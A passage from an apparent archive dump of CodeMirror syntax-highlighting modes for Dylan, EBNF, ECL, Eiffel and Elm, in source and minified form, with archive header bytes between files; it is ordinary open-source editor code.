c,d=!1,f=!1,g=0;c=a.next();){if("/"==c&&d){if(!(g>0)){b.tokenize=e;break}g--}else"*"==c&&f&&g++;d="*"==c,f="/"==c}return"comment"}function
g(a,b){return function(c,d){for(var
f,g=!1,h=!1;null!=(f=c.next());){if(f==a&&!g){h=!0;break}g=!g&&"\\"==f}return!h&&g||(d.tokenize=e),b}}var
h={unnamedDefinition:["interface"],namedDefinition:["module","library","macro","C-struct","C-union","C-function","C-callable-wrapper"],typeParameterizedDefinition:["class","C-subtype","C-mapped-subtype"],otherParameterizedDefinition:["method","function","C-variable","C-address"],constantSimpleDefinition:["constant"],variableSimpleDefinition:["variable"],otherSimpleDefinition:["generic","domain","C-pointer-type","table"],statement:["if","block","begin","method","case","for","select","when","unless","until","while","iterate","profiling","dynamic-bind"],separator:["finally","exception","cleanup","else","elseif","afterwards"],other:["above","below","by","from","handler","in","instance","let","local","otherwise","slot","subclass","then","to","keyed-by","virtual"],signalingCalls:["signal","error","cerror","break","check-type","abort"]};h.otherDefinition=h.unnamedDefinition.concat(h.namedDefinition).concat(h.otherParameterizedDefinition),h.definition=h.typeParameterizedDefinition.concat(h.otherDefinition),h.parameterizedDefinition=h.typeParameterizedDefinition.concat(h.otherParameterizedDefinition),h.simpleDefinition=h.constantSimpleDefinition.concat(h.variableSimpleDefinition).concat(h.otherSimpleDefinition),h.keyword=h.statement.concat(h.separator).concat(h.other);var
i="[-_a-zA-Z?!*@<>$%]+",j=new
RegExp("^"+i),k={symbolKeyword:i+":",symbolClass:"<"+i+">",symbolGlobal:"\\*"+i+"\\*",symbolConstant:"\\$"+i},l={symbolKeyword:"atom",symbolClass:"tag",symbolGlobal:"variable-2",symbolConstant:"variable-3"};for(var
m in k)k.hasOwnProperty(m)&&(k[m]=new
RegExp("^"+k[m]));k.keyword=[/^with(?:out)?-[-_a-zA-Z?!*@<>$%]+/];var
n={};n.keyword="keyword",n.definition="def",n.simpleDefinition="def",n.signalingCalls="builtin";var
o={},p={};return
b(["keyword","definition","simpleDefinition","signalingCalls"],(function(a){b(h[a],(function(b){o[b]=a,p[b]=n[a]}))})),{startState:function(){return{tokenize:e,currentIndent:0}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)},blockCommentStart:"/*",blockCommentEnd:"*/"}})),a.defineMIME("text/x-dylan","dylan")}));PKE��[L�h���codemirror/mode/ebnf/ebnf.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("ebnf", function (config) {
    var commentType = {slash: 0, parenthesis: 1};
    var stateType = {comment: 0, _string: 1, characterClass: 2};
    var bracesMode = null;

    if (config.bracesMode)
      bracesMode = CodeMirror.getMode(config, config.bracesMode);

    return {
      startState: function () {
        return {
          stringType: null,
          commentType: null,
          braced: 0,
          lhs: true,
          localState: null,
          stack: [],
          inDefinition: false
        };
      },
      token: function (stream, state) {
        if (!stream) return;

        //check for state changes
        if (state.stack.length === 0) {
          //strings
          if ((stream.peek() == '"') || (stream.peek() ==
"'")) {
            state.stringType = stream.peek();
            stream.next(); // Skip quote
            state.stack.unshift(stateType._string);
          } else if (stream.match(/^\/\*/)) { //comments starting with /*
            state.stack.unshift(stateType.comment);
            state.commentType = commentType.slash;
          } else if (stream.match(/^\(\*/)) { //comments starting with (*
            state.stack.unshift(stateType.comment);
            state.commentType = commentType.parenthesis;
          }
        }

        //return state
        //stack has
        switch (state.stack[0]) {
        case stateType._string:
          while (state.stack[0] === stateType._string &&
!stream.eol()) {
            if (stream.peek() === state.stringType) {
              stream.next(); // Skip quote
              state.stack.shift(); // Clear flag
            } else if (stream.peek() === "\\") {
              stream.next();
              stream.next();
            } else {
              stream.match(/^.[^\\\"\']*/);
            }
          }
          return state.lhs ? "property string" :
"string"; // Token style

        case stateType.comment:
          while (state.stack[0] === stateType.comment &&
!stream.eol()) {
            if (state.commentType === commentType.slash &&
stream.match(/\*\//)) {
              state.stack.shift(); // Clear flag
              state.commentType = null;
            } else if (state.commentType === commentType.parenthesis
&& stream.match(/\*\)/)) {
              state.stack.shift(); // Clear flag
              state.commentType = null;
            } else {
              stream.match(/^.[^\*]*/);
            }
          }
          return "comment";

        case stateType.characterClass:
          while (state.stack[0] === stateType.characterClass &&
!stream.eol()) {
            if (!(stream.match(/^[^\]\\]+/) || stream.match(/^\\./))) {
              state.stack.shift();
            }
          }
          return "operator";
        }

        var peek = stream.peek();

        if (bracesMode !== null && (state.braced || peek ===
"{")) {
          if (state.localState === null)
            state.localState = CodeMirror.startState(bracesMode);

          var token = bracesMode.token(stream, state.localState),
          text = stream.current();

          if (!token) {
            for (var i = 0; i < text.length; i++) {
              if (text[i] === "{") {
                if (state.braced === 0) {
                  token = "matchingbracket";
                }
                state.braced++;
              } else if (text[i] === "}") {
                state.braced--;
                if (state.braced === 0) {
                  token = "matchingbracket";
                }
              }
            }
          }
          return token;
        }

        //no stack
        switch (peek) {
        case "[":
          stream.next();
          state.stack.unshift(stateType.characterClass);
          return "bracket";
        case ":":
        case "|":
        case ";":
          stream.next();
          return "operator";
        case "%":
          if (stream.match("%%")) {
            return "header";
          } else if (stream.match(/[%][A-Za-z]+/)) {
            return "keyword";
          } else if (stream.match(/[%][}]/)) {
            return "matchingbracket";
          }
          break;
        case "/":
          if (stream.match(/[\/][A-Za-z]+/)) {
          return "keyword";
        }
        case "\\":
          if (stream.match(/[\][a-z]+/)) {
            return "string-2";
          }
        case ".":
          if (stream.match(".")) {
            return "atom";
          }
        case "*":
        case "-":
        case "+":
        case "^":
          if (stream.match(peek)) {
            return "atom";
          }
        case "$":
          if (stream.match("$$")) {
            return "builtin";
          } else if (stream.match(/[$][0-9]+/)) {
            return "variable-3";
          }
        case "<":
          if (stream.match(/<<[a-zA-Z_]+>>/)) {
            return "builtin";
          }
        }

        if (stream.match(/^\/\//)) {
          stream.skipToEnd();
          return "comment";
        } else if (stream.match(/return/)) {
          return "operator";
        } else if (stream.match(/^[a-zA-Z_][a-zA-Z0-9_]*/)) {
          if (stream.match(/(?=[\(.])/)) {
            return "variable";
          } else if (stream.match(/(?=[\s\n]*[:=])/)) {
            return "def";
          }
          return "variable-2";
        } else if (["[", "]", "(",
")"].indexOf(stream.peek()) != -1) {
          stream.next();
          return "bracket";
        } else if (!stream.eatSpace()) {
          stream.next();
        }
        return null;
      }
    };
  });

  CodeMirror.defineMIME("text/x-ebnf", "ebnf");
});
PKE��[)0�8
8
 codemirror/mode/ebnf/ebnf.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("ebnf",(function(b){var
c={slash:0,parenthesis:1},d={comment:0,_string:1,characterClass:2},e=null;return
b.bracesMode&&(e=a.getMode(b,b.bracesMode)),{startState:function(){return{stringType:null,commentType:null,braced:0,lhs:!0,localState:null,stack:[],inDefinition:!1}},token:function(b,f){if(b){switch(0===f.stack.length&&('"'==b.peek()||"'"==b.peek()?(f.stringType=b.peek(),b.next(),f.stack.unshift(d._string)):b.match(/^\/\*/)?(f.stack.unshift(d.comment),f.commentType=c.slash):b.match(/^\(\*/)&&(f.stack.unshift(d.comment),f.commentType=c.parenthesis)),f.stack[0]){case
d._string:for(;f.stack[0]===d._string&&!b.eol();)b.peek()===f.stringType?(b.next(),f.stack.shift()):"\\"===b.peek()?(b.next(),b.next()):b.match(/^.[^\\\"\']*/);return
f.lhs?"property string":"string";case
d.comment:for(;f.stack[0]===d.comment&&!b.eol();)f.commentType===c.slash&&b.match(/\*\//)?(f.stack.shift(),f.commentType=null):f.commentType===c.parenthesis&&b.match(/\*\)/)?(f.stack.shift(),f.commentType=null):b.match(/^.[^\*]*/);return"comment";case
d.characterClass:for(;f.stack[0]===d.characterClass&&!b.eol();)b.match(/^[^\]\\]+/)||b.match(/^\\./)||f.stack.shift();return"operator"}var
g=b.peek();if(null!==e&&(f.braced||"{"===g)){null===f.localState&&(f.localState=a.startState(e));var
h=e.token(b,f.localState),i=b.current();if(!h)for(var
j=0;j<i.length;j++)"{"===i[j]?(0===f.braced&&(h="matchingbracket"),f.braced++):"}"===i[j]&&0===--f.braced&&(h="matchingbracket");return
h}switch(g){case"[":return
b.next(),f.stack.unshift(d.characterClass),"bracket";case":":case"|":case";":return
b.next(),"operator";case"%":if(b.match("%%"))return"header";if(b.match(/[%][A-Za-z]+/))return"keyword";if(b.match(/[%][}]/))return"matchingbracket";break;case"/":if(b.match(/[\/][A-Za-z]+/))return"keyword";case"\\":if(b.match(/[\][a-z]+/))return"string-2";case".":if(b.match("."))return"atom";case"*":case"-":case"+":case"^":if(b.match(g))return"atom";case"$":if(b.match("$$"))return"builtin";if(b.match(/[$][0-9]+/))return"variable-3";case"<":if(b.match(/<<[a-zA-Z_]+>>/))return"builtin"}return
b.match(/^\/\//)?(b.skipToEnd(),"comment"):b.match(/return/)?"operator":b.match(/^[a-zA-Z_][a-zA-Z0-9_]*/)?b.match(/(?=[\(.])/)?"variable":b.match(/(?=[\s\n]*[:=])/)?"def":"variable-2":-1!=["[","]","(",")"].indexOf(b.peek())?(b.next(),"bracket"):(b.eatSpace()||b.next(),null)}}}})),a.defineMIME("text/x-ebnf","ebnf")}));PKE��[�Ç4�"�"codemirror/mode/ecl/ecl.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("ecl", function(config) {

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  function metaHook(stream, state) {
    if (!state.startOfLine) return false;
    stream.skipToEnd();
    return "meta";
  }

  var indentUnit = config.indentUnit;
  var keyword = words("abs acos allnodes ascii asin asstring atan
atan2 ave case choose choosen choosesets clustersize combine correlation
cos cosh count covariance cron dataset dedup define denormalize distribute
distributed distribution ebcdic enth error evaluate event eventextra
eventname exists exp failcode failmessage fetch fromunicode getisvalid
global graph group hash hash32 hash64 hashcrc hashmd5 having if index
intformat isvalid iterate join keyunicode length library limit ln local log
loop map matched matchlength matchposition matchtext matchunicode max merge
mergejoin min nolocal nonempty normalize parse pipe power preload process
project pull random range rank ranked realformat recordof regexfind
regexreplace regroup rejected rollup round roundup row rowdiff sample set
sin sinh sizeof soapcall sort sorted sqrt stepped stored sum table tan tanh
thisnode topn tounicode transfer trim truncate typeof ungroup unicodeorder
variance which workunit xmldecode xmlencode xmltext xmlunicode");
  var variable = words("apply assert build buildindex evaluate fail
keydiff keypatch loadxml nothor notify output parallel sequential soapcall
wait");
  var variable_2 = words("__compressed__ all and any as atmost before
beginc++ best between case const counter csv descend encrypt end endc++
endmacro except exclusive expire export extend false few first flat from
full function group header heading hole ifblock import in interface joined
keep keyed last left limit load local locale lookup macro many maxcount
maxlength min skew module named nocase noroot noscan nosort not of only opt
or outer overwrite packed partition penalty physicallength pipe quote
record relationship repeat return right scan self separator service shared
skew skip sql store terminator thor threshold token transform trim true
type unicodeorder unsorted validate virtual whole wild within xml
xpath");
  var variable_3 = words("ascii big_endian boolean data decimal ebcdic
integer pattern qstring real record rule set of string token udecimal
unicode unsigned varstring varunicode");
  var builtin = words("checkpoint deprecated failcode failmessage
failure global independent onwarning persist priority recovery stored
success wait when");
  var blockKeywords = words("catch class do else finally for if switch
try while");
  var atoms = words("true false null");
  var hooks = {"#": metaHook};
  var isOperatorChar = /[+\-*&%=<>!?|\/]/;

  var curPunc;

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (hooks[ch]) {
      var result = hooks[ch](stream, state);
      if (result !== false) return result;
    }
    if (ch == '"' || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      curPunc = ch;
      return null;
    }
    if (/\d/.test(ch)) {
      stream.eatWhile(/[\w\.]/);
      return "number";
    }
    if (ch == "/") {
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      }
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
    }
    if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    stream.eatWhile(/[\w\$_]/);
    var cur = stream.current().toLowerCase();
    if (keyword.propertyIsEnumerable(cur)) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      return "keyword";
    } else if (variable.propertyIsEnumerable(cur)) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      return "variable";
    } else if (variable_2.propertyIsEnumerable(cur)) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      return "variable-2";
    } else if (variable_3.propertyIsEnumerable(cur)) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      return "variable-3";
    } else if (builtin.propertyIsEnumerable(cur)) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      return "builtin";
    } else { //Data types are of from KEYWORD##
                var i = cur.length - 1;
                while(i >= 0 && (!isNaN(cur[i]) || cur[i] ==
'_'))
                        --i;

                if (i > 0) {
                        var cur2 = cur.substr(0, i + 1);
                if (variable_3.propertyIsEnumerable(cur2)) {
                        if (blockKeywords.propertyIsEnumerable(cur2))
curPunc = "newstatement";
                        return "variable-3";
                }
            }
    }
    if (atoms.propertyIsEnumerable(cur)) return "atom";
    return null;
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {end = true; break;}
        escaped = !escaped && next == "\\";
      }
      if (end || !escaped)
        state.tokenize = tokenBase;
      return "string";
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function Context(indented, column, type, align, prev) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.align = align;
    this.prev = prev;
  }
  function pushContext(state, col, type) {
    return state.context = new Context(state.indented, col, type, null,
state.context);
  }
  function popContext(state) {
    var t = state.context.type;
    if (t == ")" || t == "]" || t == "}")
      state.indented = state.context.indented;
    return state.context = state.context.prev;
  }

  // Interface

  return {
    startState: function(basecolumn) {
      return {
        tokenize: null,
        context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
        indented: 0,
        startOfLine: true
      };
    },

    token: function(stream, state) {
      var ctx = state.context;
      if (stream.sol()) {
        if (ctx.align == null) ctx.align = false;
        state.indented = stream.indentation();
        state.startOfLine = true;
      }
      if (stream.eatSpace()) return null;
      curPunc = null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style == "comment" || style == "meta") return
style;
      if (ctx.align == null) ctx.align = true;

      if ((curPunc == ";" || curPunc == ":") &&
ctx.type == "statement") popContext(state);
      else if (curPunc == "{") pushContext(state,
stream.column(), "}");
      else if (curPunc == "[") pushContext(state,
stream.column(), "]");
      else if (curPunc == "(") pushContext(state,
stream.column(), ")");
      else if (curPunc == "}") {
        while (ctx.type == "statement") ctx = popContext(state);
        if (ctx.type == "}") ctx = popContext(state);
        while (ctx.type == "statement") ctx = popContext(state);
      }
      else if (curPunc == ctx.type) popContext(state);
      else if (ctx.type == "}" || ctx.type == "top" ||
(ctx.type == "statement" && curPunc ==
"newstatement"))
        pushContext(state, stream.column(), "statement");
      state.startOfLine = false;
      return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize != tokenBase && state.tokenize != null)
return 0;
      var ctx = state.context, firstChar = textAfter &&
textAfter.charAt(0);
      if (ctx.type == "statement" && firstChar ==
"}") ctx = ctx.prev;
      var closing = firstChar == ctx.type;
      if (ctx.type == "statement") return ctx.indented +
(firstChar == "{" ? 0 : indentUnit);
      else if (ctx.align) return ctx.column + (closing ? 0 : 1);
      else return ctx.indented + (closing ? 0 : indentUnit);
    },

    electricChars: "{}"
  };
});

CodeMirror.defineMIME("text/x-ecl", "ecl");

});
PKE��[8�n��codemirror/mode/ecl/ecl.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("ecl",(function(a){function
b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function
c(a,b){return!!b.startOfLine&&(a.skipToEnd(),"meta")}function
d(a,b){var c=a.next();if(s[c]){var d=s[c](a,b);if(!1!==d)return
d}if('"'==c||"'"==c)return
b.tokenize=e(c),b.tokenize(a,b);if(/[\[\]{}\(\),;\:\.]/.test(c))return
j=c,null;if(/\d/.test(c))return
a.eatWhile(/[\w\.]/),"number";if("/"==c){if(a.eat("*"))return
b.tokenize=f,f(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment"}if(t.test(c))return
a.eatWhile(t),"operator";a.eatWhile(/[\w\$_]/);var
g=a.current().toLowerCase();if(l.propertyIsEnumerable(g))return
q.propertyIsEnumerable(g)&&(j="newstatement"),"keyword";if(m.propertyIsEnumerable(g))return
q.propertyIsEnumerable(g)&&(j="newstatement"),"variable";if(n.propertyIsEnumerable(g))return
q.propertyIsEnumerable(g)&&(j="newstatement"),"variable-2";if(o.propertyIsEnumerable(g))return
q.propertyIsEnumerable(g)&&(j="newstatement"),"variable-3";if(p.propertyIsEnumerable(g))return
q.propertyIsEnumerable(g)&&(j="newstatement"),"builtin";for(var
h=g.length-1;h>=0&&(!isNaN(g[h])||"_"==g[h]);)--h;if(h>0){var
i=g.substr(0,h+1);if(o.propertyIsEnumerable(i))return
q.propertyIsEnumerable(i)&&(j="newstatement"),"variable-3"}return
r.propertyIsEnumerable(g)?"atom":null}function e(a){return
function(b,c){for(var
e,f=!1,g=!1;null!=(e=b.next());){if(e==a&&!f){g=!0;break}f=!f&&"\\"==e}return!g&&f||(c.tokenize=d),"string"}}function
f(a,b){for(var
c,e=!1;c=a.next();){if("/"==c&&e){b.tokenize=d;break}e="*"==c}return"comment"}function
g(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
h(a,b,c){return a.context=new g(a.indented,b,c,null,a.context)}function
i(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}var
j,k=a.indentUnit,l=b("abs acos allnodes ascii asin asstring atan atan2
ave case choose choosen choosesets clustersize combine correlation cos cosh
count covariance cron dataset dedup define denormalize distribute
distributed distribution ebcdic enth error evaluate event eventextra
eventname exists exp failcode failmessage fetch fromunicode getisvalid
global graph group hash hash32 hash64 hashcrc hashmd5 having if index
intformat isvalid iterate join keyunicode length library limit ln local log
loop map matched matchlength matchposition matchtext matchunicode max merge
mergejoin min nolocal nonempty normalize parse pipe power preload process
project pull random range rank ranked realformat recordof regexfind
regexreplace regroup rejected rollup round roundup row rowdiff sample set
sin sinh sizeof soapcall sort sorted sqrt stepped stored sum table tan tanh
thisnode topn tounicode transfer trim truncate typeof ungroup unicodeorder
variance which workunit xmldecode xmlencode xmltext
xmlunicode"),m=b("apply assert build buildindex evaluate fail
keydiff keypatch loadxml nothor notify output parallel sequential soapcall
wait"),n=b("__compressed__ all and any as atmost before beginc++
best between case const counter csv descend encrypt end endc++ endmacro
except exclusive expire export extend false few first flat from full
function group header heading hole ifblock import in interface joined keep
keyed last left limit load local locale lookup macro many maxcount
maxlength min skew module named nocase noroot noscan nosort not of only opt
or outer overwrite packed partition penalty physicallength pipe quote
record relationship repeat return right scan self separator service shared
skew skip sql store terminator thor threshold token transform trim true
type unicodeorder unsorted validate virtual whole wild within xml
xpath"),o=b("ascii big_endian boolean data decimal ebcdic integer
pattern qstring real record rule set of string token udecimal unicode
unsigned varstring varunicode"),p=b("checkpoint deprecated
failcode failmessage failure global independent onwarning persist priority
recovery stored success wait when"),q=b("catch class do else
finally for if switch try while"),r=b("true false
null"),s={"#":c},t=/[+\-*&%=<>!?|\/]/;return{startState:function(a){return{tokenize:null,context:new
g((a||0)-k,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var
c=b.context;if(a.sol()&&(null==c.align&&(c.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return
null;j=null;var
e=(b.tokenize||d)(a,b);if("comment"==e||"meta"==e)return
e;if(null==c.align&&(c.align=!0),";"!=j&&":"!=j||"statement"!=c.type)if("{"==j)h(b,a.column(),"}");else
if("["==j)h(b,a.column(),"]");else
if("("==j)h(b,a.column(),")");else
if("}"==j){for(;"statement"==c.type;)c=i(b);for("}"==c.type&&(c=i(b));"statement"==c.type;)c=i(b)}else
j==c.type?i(b):("}"==c.type||"top"==c.type||"statement"==c.type&&"newstatement"==j)&&h(b,a.column(),"statement");else
i(b);return
b.startOfLine=!1,e},indent:function(a,b){if(a.tokenize!=d&&null!=a.tokenize)return
0;var
c=a.context,e=b&&b.charAt(0);"statement"==c.type&&"}"==e&&(c=c.prev);var
f=e==c.type;return"statement"==c.type?c.indented+("{"==e?0:k):c.align?c.column+(f?0:1):c.indented+(f?0:k)},electricChars:"{}"}})),a.defineMIME("text/x-ecl","ecl")}));PKE��[X�3i��
codemirror/mode/eiffel/eiffel.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("eiffel", function() {
  function wordObj(words) {
    var o = {};
    for (var i = 0, e = words.length; i < e; ++i) o[words[i]] = true;
    return o;
  }
  var keywords = wordObj([
    'note',
    'across',
    'when',
    'variant',
    'until',
    'unique',
    'undefine',
    'then',
    'strip',
    'select',
    'retry',
    'rescue',
    'require',
    'rename',
    'reference',
    'redefine',
    'prefix',
    'once',
    'old',
    'obsolete',
    'loop',
    'local',
    'like',
    'is',
    'inspect',
    'infix',
    'include',
    'if',
    'frozen',
    'from',
    'external',
    'export',
    'ensure',
    'end',
    'elseif',
    'else',
    'do',
    'creation',
    'create',
    'check',
    'alias',
    'agent',
    'separate',
    'invariant',
    'inherit',
    'indexing',
    'feature',
    'expanded',
    'deferred',
    'class',
    'Void',
    'True',
    'Result',
    'Precursor',
    'False',
    'Current',
    'create',
    'attached',
    'detachable',
    'as',
    'and',
    'implies',
    'not',
    'or'
  ]);
  var operators = wordObj([":=", "and
then","and",
"or","<<",">>"]);

  function chain(newtok, stream, state) {
    state.tokenize.push(newtok);
    return newtok(stream, state);
  }

  function tokenBase(stream, state) {
    if (stream.eatSpace()) return null;
    var ch = stream.next();
    if (ch == '"'||ch == "'") {
      return chain(readQuoted(ch, "string"), stream, state);
    } else if (ch == "-"&&stream.eat("-")) {
      stream.skipToEnd();
      return "comment";
    } else if (ch == ":"&&stream.eat("=")) {
      return "operator";
    } else if (/[0-9]/.test(ch)) {
      stream.eatWhile(/[xXbBCc0-9\.]/);
      stream.eat(/[\?\!]/);
      return "ident";
    } else if (/[a-zA-Z_0-9]/.test(ch)) {
      stream.eatWhile(/[a-zA-Z_0-9]/);
      stream.eat(/[\?\!]/);
      return "ident";
    } else if (/[=+\-\/*^%<>~]/.test(ch)) {
      stream.eatWhile(/[=+\-\/*^%<>~]/);
      return "operator";
    } else {
      return null;
    }
  }

  function readQuoted(quote, style,  unescaped) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && (unescaped || !escaped)) {
          state.tokenize.pop();
          break;
        }
        escaped = !escaped && ch == "%";
      }
      return style;
    };
  }

  return {
    startState: function() {
      return {tokenize: [tokenBase]};
    },

    token: function(stream, state) {
      var style = state.tokenize[state.tokenize.length-1](stream, state);
      if (style == "ident") {
        var word = stream.current();
        style = keywords.propertyIsEnumerable(stream.current()) ?
"keyword"
          : operators.propertyIsEnumerable(stream.current()) ?
"operator"
          : /^[A-Z][A-Z_0-9]*$/g.test(word) ? "tag"
          : /^0[bB][0-1]+$/g.test(word) ? "number"
          : /^0[cC][0-7]+$/g.test(word) ? "number"
          : /^0[xX][a-fA-F0-9]+$/g.test(word) ? "number"
          : /^([0-9]+\.[0-9]*)|([0-9]*\.[0-9]+)$/g.test(word) ?
"number"
          : /^[0-9]+$/g.test(word) ? "number"
          : "variable";
      }
      return style;
    },
    lineComment: "--"
  };
});

CodeMirror.defineMIME("text/x-eiffel", "eiffel");

});
PKE��[!(�N$codemirror/mode/eiffel/eiffel.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("eiffel",(function(){function
a(a){for(var b={},c=0,d=a.length;c<d;++c)b[a[c]]=!0;return b}function
b(a,b,c){return c.tokenize.push(a),a(b,c)}function
c(a,c){if(a.eatSpace())return null;var
e=a.next();return'"'==e||"'"==e?b(d(e,"string"),a,c):"-"==e&&a.eat("-")?(a.skipToEnd(),"comment"):":"==e&&a.eat("=")?"operator":/[0-9]/.test(e)?(a.eatWhile(/[xXbBCc0-9\.]/),a.eat(/[\?\!]/),"ident"):/[a-zA-Z_0-9]/.test(e)?(a.eatWhile(/[a-zA-Z_0-9]/),a.eat(/[\?\!]/),"ident"):/[=+\-\/*^%<>~]/.test(e)?(a.eatWhile(/[=+\-\/*^%<>~]/),"operator"):null}function
d(a,b,c){return function(d,e){for(var
f,g=!1;null!=(f=d.next());){if(f==a&&(c||!g)){e.tokenize.pop();break}g=!g&&"%"==f}return
b}}var
e=a(["note","across","when","variant","until","unique","undefine","then","strip","select","retry","rescue","require","rename","reference","redefine","prefix","once","old","obsolete","loop","local","like","is","inspect","infix","include","if","frozen","from","external","export","ensure","end","elseif","else","do","creation","create","check","alias","agent","separate","invariant","inherit","indexing","feature","expanded","deferred","class","Void","True","Result","Precursor","False","Current","create","attached","detachable","as","and","implies","not","or"]),f=a([":=","and
then","and","or","<<",">>"]);return{startState:function(){return{tokenize:[c]}},token:function(a,b){var
c=b.tokenize[b.tokenize.length-1](a,b);if("ident"==c){var
d=a.current();c=e.propertyIsEnumerable(a.current())?"keyword":f.propertyIsEnumerable(a.current())?"operator":/^[A-Z][A-Z_0-9]*$/g.test(d)?"tag":/^0[bB][0-1]+$/g.test(d)?"number":/^0[cC][0-7]+$/g.test(d)?"number":/^0[xX][a-fA-F0-9]+$/g.test(d)?"number":/^([0-9]+\.[0-9]*)|([0-9]*\.[0-9]+)$/g.test(d)?"number":/^[0-9]+$/g.test(d)?"number":"variable"}return
c},lineComment:"--"}})),a.defineMIME("text/x-eiffel","eiffel")}));PKE��[�\wH��codemirror/mode/elm/elm.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("elm", function() {

    function switchState(source, setState, f)
    {
      setState(f);
      return f(source, setState);
    }

    var lowerRE = /[a-z]/;
    var upperRE = /[A-Z]/;
    var innerRE = /[a-zA-Z0-9_]/;

    var digitRE = /[0-9]/;
    var hexRE = /[0-9A-Fa-f]/;
    var symbolRE = /[-&*+.\\/<>=?^|:]/;
    var specialRE = /[(),[\]{}]/;
    var spacesRE = /[ \v\f]/; // newlines are handled in tokenizer

    function normal()
    {
      return function(source, setState)
      {
        if (source.eatWhile(spacesRE))
        {
          return null;
        }

        var char = source.next();

        if (specialRE.test(char))
        {
          return (char === '{' &&
source.eat('-'))
            ? switchState(source, setState, chompMultiComment(1))
            : (char === '[' &&
source.match('glsl|'))
                ? switchState(source, setState, chompGlsl)
                : 'builtin';
        }

        if (char === '\'')
        {
          return switchState(source, setState, chompChar);
        }

        if (char === '"')
        {
          return source.eat('"')
            ? source.eat('"')
                ? switchState(source, setState, chompMultiString)
                : 'string'
            : switchState(source, setState, chompSingleString);
        }

        if (upperRE.test(char))
        {
          source.eatWhile(innerRE);
          return 'variable-2';
        }

        if (lowerRE.test(char))
        {
          var isDef = source.pos === 1;
          source.eatWhile(innerRE);
          return isDef ? "def" : "variable";
        }

        if (digitRE.test(char))
        {
          if (char === '0')
          {
            if (source.eat(/[xX]/))
            {
              source.eatWhile(hexRE); // should require at least 1
              return "number";
            }
          }
          else
          {
            source.eatWhile(digitRE);
          }
          if (source.eat('.'))
          {
            source.eatWhile(digitRE); // should require at least 1
          }
          if (source.eat(/[eE]/))
          {
            source.eat(/[-+]/);
            source.eatWhile(digitRE); // should require at least 1
          }
          return "number";
        }

        if (symbolRE.test(char))
        {
